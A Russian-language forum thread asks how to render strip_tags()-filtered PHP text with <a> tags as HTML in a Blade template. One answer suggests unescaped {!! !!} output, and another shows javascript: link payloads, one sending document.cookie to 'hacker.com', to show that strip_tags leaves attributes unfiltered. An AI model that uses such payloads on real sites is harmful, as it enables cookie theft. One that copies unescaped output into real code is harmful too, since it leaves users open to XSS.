Как в strip_tags() передать HTML?

Question

[Ler Den]

Всем привет. Есть переменная, которая обрабатывается функцией strip_tags() и затем отправляется на HTML.

$marketDescOne      =  " your <a href='#'>link</a> lorem ipsum.";
$obj->marketDescOne     = strip_tags($marketDescOne,'<a>');

Но при выводе в HTML

<p class="mobile-text-small">
            {{ $market->marketDescOne }}
          </p>

получаю просто текст с тегами 'a', но мне надо чтобы в хтмл теги влетели как теги, а не текст. Есть какой-то способ? Не могу придумать

Answer 1

[D']

Использовать {!! $market->marketDescOne !!}
Но это ниразу не правильно и так нельзя.

Comments

[Ler Den]

а в чем разница? Я не до конца понял. На практике разницы никакой не увидел. Тег передается все так же тегом

[D']

Evgeniy: что значит "Тег передается все так же тегом"? Объясни по-русски что требуется.

[Ler Den]

D' Normalization: уже решил, твой способ подошел. По поводу атак, сказали, что нечего бояться. Цитата
"No worries - You won't need to worry about XSS here since it's not technically user input. You can output these variables without any formatting by using the following syntax"

Answer 2

[Mikhail Osher]

<a href="javascript:alert('hellowz')">link</a>
<a href="javascript:new Image().src('http://hacker.com/hellowz?c=' + document.cookie)">link</a>

Comments

[Ler Den]

Вы либо издеваетесь либо не то прочитали

[Владислав]

Evgeniy: вам намекают на то, что это не безопасно, прочитайте про xss уязвимости и поймёте.

[Ler Den]

Владислав: спасибо

Answer 3

[Вячеслав Плиско]

strip_tags не фильтрует атрибуты у тегов. лучше использовать библиотеку htmlpurifier